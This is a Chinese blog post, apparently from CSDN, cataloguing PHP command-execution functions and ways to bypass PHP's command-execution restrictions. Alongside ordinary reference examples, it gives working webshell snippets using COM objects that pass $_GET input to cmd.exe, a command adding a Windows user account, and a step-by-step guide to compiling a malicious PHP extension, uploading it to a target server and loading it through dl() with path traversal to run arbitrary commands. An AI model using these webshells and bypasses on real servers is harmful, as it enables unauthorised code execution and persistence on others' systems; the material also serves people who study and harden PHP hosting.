php限制一个函数在几分钟内不被调用_php限制命令执行绕过(mail函数执行可以试试)...

1. exec

原型:string exec ( string command [, array &output [, int &return_var]] )

描述:所有输出结果将会保存到$output数组,返回值中是最后的输出结果(也就是output的最后一行 ),$return_var用来保存命令执行的状态码(用来检测成功或失败)。

例子:$ret = exec("ls -al", $output, $var);

2. shell_exec \ ``(反斜杠)

原型:string shell_exec ( string $cmd )

3. system

原型:string system ( string command [, int &return_var] )

描述:执行给定的命令,返回最后的输出结果;第二个参数是可选的,用来得到命令执行后的状态码。

例子:$ret = system("ls -al", $var);

4. passthru

原型:void passthru (string command [, int return_var])

描述:执行给定的命令,但不返回任何输出结果,而是直接输出到显示设备上;第二个参数可选,用来得到命令执行后的状态码。

例子:passthru("ls -al", $var);

5. popen

原型:resource popen ( string command, string mode )

描述:打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。

例子

1:$fd = popen("command", 'r'); $ret = fgets($fd);

2:$fd = popen("systeminfo >d:\\1.txt", 'r'); pclose($fd);print(fgets(fopen("d:\\1.txt",'r')));

3:$fd=popen("ipconfig",'r');

while($s=fgets($fd)){

print_r($s);

}

注意:只能打开单向管道,不是'r'就是'w';并且需要使用pclose()来关闭。

6. proc_open

原型:resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] )

描述:与popen类似,但是可以提供双向管道。具体的参数读者可 以自己翻阅php manual

注意:

A. 后面需要使用proc_close()关闭资源,并且如果是pipe类型,需要用pclose()关闭句柄。

B. proc_open打开的程序作为php的子进程,php退出后该子进程也会退出。

例子:

$descriptorspec=array( //这个索引数组用力指定要用proc_open创建的子进程的描述符

0=>array('pipe','r'), //STDIN

1=>array('pipe','w'),//STDOUT

2=>array('pipe','w') //STDERROR

);

$handle=proc_open('dir',$descriptorspec,$pipes,NULL);

//$pipes中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)

if(!is_resource($handle)){

die('proc_open failed');

}

//fwrite($pipes[0],'ipconfig');

print('stdout:
');

while($s=fgets($pipes[1])){

print_r($s);

}

print('===========
stderr:
');

while($s=fgets($pipes[2])){

print_r($s);

}

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($handle);

?>

7. cntl_exec

原型:void pcntl_exec ( string $path [, array $args [, array $envs ]] )

描述:(PHP 4 >= 4.2.0, PHP 5, PHP 7)

pcntl_exec — 在当前进程空间执行以给定参数执行指定程序。

pcntl是linux下的一个扩展,可以支持php的多线程操作。

参数:

path: 必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径

标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)。 更多的

信息请查看您系统的execve(2)手册。

args: 一个要传递给程序的参数的字符串数组。

envs: 一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格

式的,key代表要传递的环境变量的名称,value代表该环境变量值。

返回值:当发生错误时返回 FALSE ,没有错误时没有返回。

8. COM组建(针对windwos环境下使用com组建)

原型:

Wscript.Shell->exec(command) //

Shell.Application->ShellExecute(appName,appArgs,appPath) //

Shell.Application->open(appPath) //要填写程序绝对路径,并且应该没有办法加参数

Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb()

Shell.Application->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx()

描述:在windwos下,并且在php中开启com组建扩展之后可以使用这种方法(打开方式自行百度)

彻底的解决方案是 直接删除System32目录下wshom.ocx文件

例子:

$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");

$exec=$phpwsh->exec("cmd.exe /c ".$_GET['c']."");

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

?>

$phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!");

$exec=$phpwsh->ShellExecute("net"," user tiny tiny /add");

//$exec=$phpwsh->ShellExecute("cmd","/c net user tiny tiny /add");

?>

$phpwsh=new COM("Shell.Application") or die("Create Wscript.Shell Failed!");

$exec=$phpwsh->open("c:\\windows\\system32\\cmd.exe");

?>

$a=new COM("Shell.Application");

$a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverb();

?>

$a=new COM("Shell.Application");

$a->NameSpace("C:\Windows\System32")->Items()->item("cmd.exe")->invokeverbEx();

?>

9.dl()

要求:php没有开启安全模式,并且enable_dl选项为on,并且php版本支持dl函数

(在 PHP 5.3 里,此函数被某些 SAPI 移除了,也就是没有这个函数?)

说明:extension_dir选项可以指定扩展模块的目录,但是我们可以使用相对路径的方式绕过

原理:自己编写扩展,然后使用dl加载此扩展。

举例(linux):

准备工作:

自行上网下载apache和相近版本的php源码,按照apache和php的官方文档进行安装。

我们主要需要三个文件:phpize,php-config和ext_skel:在正确安装好了apache和php之后,

phpize和php-config将被安装(可以自行find),而ext_skel则是是在php源码中的ext目录中。

ext_skel是php源码包中的用来帮助制作扩展的程序。

1)转到php-x.x.xx/ext中首先新建xxx.skel文件,里面填写要制作的扩展中的函数原型,例如:

string exec(string str)

2)执行命令:./ext_skel --extname=tinymin --proto=xxx.skel 之后便生成了tinymin目录,

里面则是扩展所需要的文件

3)cd tinymin

4)vi config.m4

将 config.m4文件里面

dnl PHP_ARG_WITH(myext, for myext support,

dnl Make sure that the comment is aligned:

dnl [ --with-myext Include myext support])

修改成

PHP_ARG_WITH(myext, for myext support,

[ --with-myext Include myext support])

5)vi tinymin.c

将PHP_FUNCTION(exec)后面的大括号里面的代码的最后一行删除,并写上自己的代码,修改后如:PHP_FUNCTION(haha)

{

char *str = NULL;

int argc = ZEND_NUM_ARGS();

int str_len;

if (zend_parse_parameters(argc TSRMLS_CC, "s", &str, &str_len) == FAILURE)

return;

return system(str);

}

6)找到phpize:find / -name "phpize" 然后运行一下phpize:

/my_lamp/php/bin/phpize

7) 同样方式找到php-config,然后运行configure:

./configure --with-php-config=/my_lamp/php/bin/php-config

8)make&&make install

之后便在自己的php扩展目录中生成了扩展tinymin.so

在目标服务器上面上传tinymin.so(不一定要在它的php扩展目录中,因为可以使用相对路径)

用法例如:

dl("../../../../../tmp/tinymin.so");

echo exec($_GET['cmd']);

?>

这种方法也很老了,我在自己的的kali2上面尝试这样做的时候提示没有dl这个函数,具体原因参见php manual

windows上应该也是一样的原理。不过没有试过

10.内核变量 http://www.freebuf.com/articles/web/82801.html

目前我还不是很清楚这种方式。。。。毛子果然厉害

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值